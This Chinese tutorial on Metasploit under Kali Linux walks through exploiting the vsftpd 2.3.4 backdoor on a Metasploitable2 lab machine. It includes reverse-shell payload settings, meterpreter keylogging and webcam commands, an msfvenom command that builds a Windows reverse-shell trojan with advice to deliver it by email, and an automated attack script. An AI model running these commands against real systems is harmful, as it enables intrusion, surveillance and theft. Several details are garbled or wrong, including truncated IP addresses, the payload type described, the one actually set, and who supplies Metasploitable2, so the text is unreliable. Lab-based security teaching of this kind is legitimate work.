Metasploit for Kali Linux:从入门到精通
前言:为什么在 Kali Linux 上使用 Metasploit?
- 集成环境:Kali Linux 是专为渗透测试和安全研究设计的操作系统,Metasploit Framework 已经被预装并配置好,开箱即用。
- 强大的生态系统:Kali 提供了与 Metasploit 无缝集成的其他工具,如 Nmap(端口扫描)、Burp Suite(Web应用代理)、Wireshark(流量分析)等,形成了一个完整的攻击链。
- 社区支持:Metasploit 拥有一个庞大的社区,不断有新的漏洞利用模块、辅助模块和后渗透脚本被贡献和更新。
第一部分:Metasploit 基础入门
什么是 Metasploit?
Metasploit Framework (MSF) 是一个开源的渗透测试平台,它提供了:

- 漏洞利用:针对已知软件漏洞的攻击代码。
- 载荷:在成功利用漏洞后,在目标系统上执行的代码(Meterpreter)。
- 辅助模块:用于扫描、嗅探、指纹识别等任务的工具。
- 后渗透模块:在获得目标系统访问权后,用于提升权限、维持访问、窃取数据等操作的模块。
- 编码器:用于绕过防病毒软件和入侵检测系统 的工具。
启动 Metasploit
在 Kali Linux 的终端中,直接输入 msfconsole 并回车。
msfconsole
首次启动时,它会加载所有模块,可能需要几秒钟,你会看到一个类似下面这样的界面:
_
_ _ | |
| | | || |
| |__ __ _ _ __ ___ ___ ___ | || |___
| '_ \ / _` | '_ ` _ \ / _ \/ _ \ | | __\ \
| | | | (_| | | | | | | __/ __/ | |_\ \ \_
|_| |_|\__,_|_| |_| |_|\___|\___| |_|\__|___\_\
http://www.metasploit.com
=[ metasploit v6.1.44-dev ]
+ -- --=[ 2140 exploits - 1135 auxiliary - 390 post ]
+ -- --=[ 602 payloads - 45 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
Metasploit can be directly started from the msfconsole
To see the menu, type: msf6
msf6 >
msf6 > 是 Metasploit 的命令行提示符。
核心概念
- Module (模块):Metasploit 的功能单元,分为
exploit,payload,auxiliary,post,encoder,nop等。 - Target (目标):指定漏洞利用要针对的操作系统或服务版本。
- Payload (载荷):这是攻击的核心,它分为三大类:
- Stageless (无阶段):一次性将完整载荷发送到目标,优点是快速;缺点是体积较大,容易被检测。
- Staged (分阶段):先发送一个小的“Stager”(小段代码),它在目标机上下载并执行完整的“Stage”(主载荷),优点是体积小,隐蔽性好;缺点是多了一次网络交互。
- Single (单):将 Stager 和 Stage 打包成一个文件,平衡了体积和功能。
- Listener (监听器):当使用反向连接类型的载荷时,需要在你的 Kali 机上启动一个监听器,等待目标主动连接回来。
常用命令
| 命令 | 描述 | 示例 |
|---|---|---|
help |
显示帮助信息 | help |
search <keyword> |
搜索模块 | search apache |
use <module_path> |
使用一个模块 | use exploit/multi/handler |
show options |
显示当前模块的可用选项 | show options |
show targets |
显示可用的目标列表 | show targets |
show payloads |
显示与当前 exploit 兼容的载荷 | show payloads |
set <option> <value> |
设置一个选项的值 | set RHOSTS 192.168.1.10 |
setg <option> <value> |
全局设置一个选项的值,对所有模块有效 | setg RHOSTS 192.168.1.0/24 |
info |
显示模块的详细信息 | info |
check |
检查目标是否易受当前漏洞攻击 | check |
run 或 exploit |
执行模块 | run |
back |
返回上一级模块 | back |
quit |
退出 msfconsole | quit |
第二部分:实战演练 - 攻击一个 Metasploitable2 靶机
为了安全地练习,我们需要一个“活靶子”,Metasploitable2 是 VMware 提供的一个故意设计得漏洞百出的虚拟机,你可以从 官方下载 并在 VMware/VirtualBox 中导入。

场景:我们不知道靶机的任何信息,需要一步步进行信息收集和攻击。
步骤 1:信息收集
目标:发现靶机 IP 地址。
在 Kali 的终端中,使用 nmap 扫描本地网络。
nmap -sn 192.168.1.0/24
找到名为 metasploitable2 的主机 IP,假设是 168.1.15。

步骤 2:服务枚举
目标:找出靶机上运行的服务和潜在漏洞。
nmap -sV -sC -O 192.168.1.15
-sV:探测服务版本。-sC:运行默认脚本扫描。-O:尝试检测操作系统。
扫描结果会显示很多开放的服务,vsftpd 2.3.4, Apache 2.2.8, OpenSSH 4.7p1 等,这些都是我们潜在的攻击点。
步骤 3:选择并配置漏洞利用
我们发现 vsftpd 2.3.4 版本存在一个著名的后门漏洞,让我们使用 Metasploit 来利用它。
-
搜索模块:
search vsftpd 2.3.4
你会找到一个名为
exploit/unix/ftp/vsftpd_234_backdoor的模块。 -
使用模块:
use exploit/unix/ftp/vsftpd_234_backdoor
-
查看选项:
show options
你会看到需要设置的选项:
RHOSTS: 目标主机的 IP 地址。RPORT: 目标主机的端口(默认 21)。
-
设置选项:
set RHOSTS 192.168.1.15 set RPORT 21
-
检查目标 (可选但推荐):
check
Metasploit 会尝试连接并确认目标是否易受攻击,如果返回
appears to be vulnerable,就可以继续。
步骤 4:选择并配置载荷
-
查看兼容载荷:
show payloads
你会看到很多选项,包括
cmd/unix/reverse和meterpreter,我们选择功能更强大的meterpreter。 -
设置载荷:
set payload cmd/unix/reverse
或者直接使用
set命令来设置一个完整的载荷路径,payload/linux/x64/meterpreter/reverse_tcp。 -
配置监听器: 因为我们的载荷是
reverse(反向连接),所以需要告诉靶机连接回我们的 Kali 机。LHOST: 你的 Kali Linux 的 IP 地址(在终端输入ip a查看)。168.1.10。LPORT: 监听的端口号,任意选择一个未被占用的端口,4444。
set LHOST 192.168.1.10 set LPORT 4444
步骤 5:执行攻击
所有选项都已设置完毕。
exploit
如果一切顺利,你会看到 Metasploit 成功连接,并得到一个 meterpreter 会话。
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] 192.168.1.15:21 - Trying to exploit with command: `echo DQo8Pj4= | base64 -d | sh`
[*] 192.168.1.15:21 - Send stage 32 bytes
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.15:31337) at 2025-10-27 10:30:00 +0800
meterpreter >
恭喜!你已经成功获得了对靶机的访问权限!
步骤 6:后渗透操作
meterpreter > 是一个强大的命令行界面,你可以在这里执行很多操作:
| 命令 | 描述 |
|---|---|
sysinfo |
查看系统信息(操作系统、架构等) |
getuid |
查看当前用户权限 |
ps |
列出系统进程 |
migrate <PID> |
迁移到另一个进程以隐藏自身 |
shell |
获取一个系统级的命令行 shell |
upload <local_file> <remote_path> |
上传文件到目标 |
download <remote_file> <local_path> |
下载文件到本地 |
keyscan_start / keyscan_dump / keyscan_stop |
捕获键盘记录 |
webcam_list / webcam_snap / webcam_stream |
控制摄像头 |
输入 shell,你将获得一个标准的 Linux shell,可以执行 ls, whoami, cat /etc/passwd 等命令。
第三部分:高级技巧与最佳实践
使用 Meterpreter 的强大功能
Meterpreter 是内存中的动态链接库,它不依赖于在目标磁盘上创建文件,因此非常隐蔽,多花时间探索 meterpreter 的所有子系统和命令。
生成可执行文件
有时,你需要生成一个独立的可执行文件(如 .exe 或 .apk)来诱使目标执行,这可以通过 msfvenom 工具完成,它是 msfpayload 和 msfencode 的结合体。
示例:生成一个 Windows 的反向 Meterpreter 木马
# 在 Kali 终端中执行,而不是在 msfconsole 中 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe
-p: 指定载荷。-LHOST/-LPORT: 监听器和端口。-f: 输出格式。-o: 输出文件名。
生成后,你可以通过 Web 服务、邮件附件等方式将 payload.exe 传给目标,然后使用 exploit/multi/handler 模块来监听并接收连接。
数据库集成
Metasploit 可以与 PostgreSQL 数据库集成,存储和管理扫描结果、会话信息等,这对于大型项目至关重要。
- 启动 PostgreSQL:
service postgresql start
- 创建数据库并连接:
msfdb init
- 在
msfconsole中,数据库会自动连接,你可以使用db_*命令来管理数据。
自动化攻击
Metasploit 的 resource 文件可以用来存储一系列命令,实现自动化攻击。
- 创建一个文本文件,
attack.rc如下:use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.1.15 set LHOST 192.168.1.10 set PAYLOAD cmd/unix/reverse exploit sysinfo getuid - 在
msfconsole中运行:resource /path/to/attack.rc
第四部分:重要提醒与道德准则
- 仅用于授权测试:绝对不要对未经授权的系统进行 Metasploit 攻击,这是违法行为,并会带来严重的法律后果。
- 法律与道德:Metasploit 是一个强大的工具,必须由负责任的专业人员用于合法的安全评估、漏洞研究和防御加固。
- 学习环境:始终在像 Metasploitable2, OWASP Juice Shop, DVWA 这样的专用靶机或搭建在自己的虚拟机上进行学习和练习。
- 持续学习:Metasploit 和漏洞世界在不断变化,多阅读官方文档、关注安全博客,并尝试自己编写模块或脚本。
本教程为你提供了一个在 Kali Linux 上使用 Metasploit 的完整路线图,从基础的 msfconsole 命令,到一次完整的信息收集、漏洞利用和后渗透流程,再到高级的自动化和文件生成技巧。
熟能生巧,最好的学习方法就是动手实践,在安全的靶机上不断尝试不同的模块、载荷和技术,你将逐渐掌握这个强大工具的精髓,祝你学习愉快!
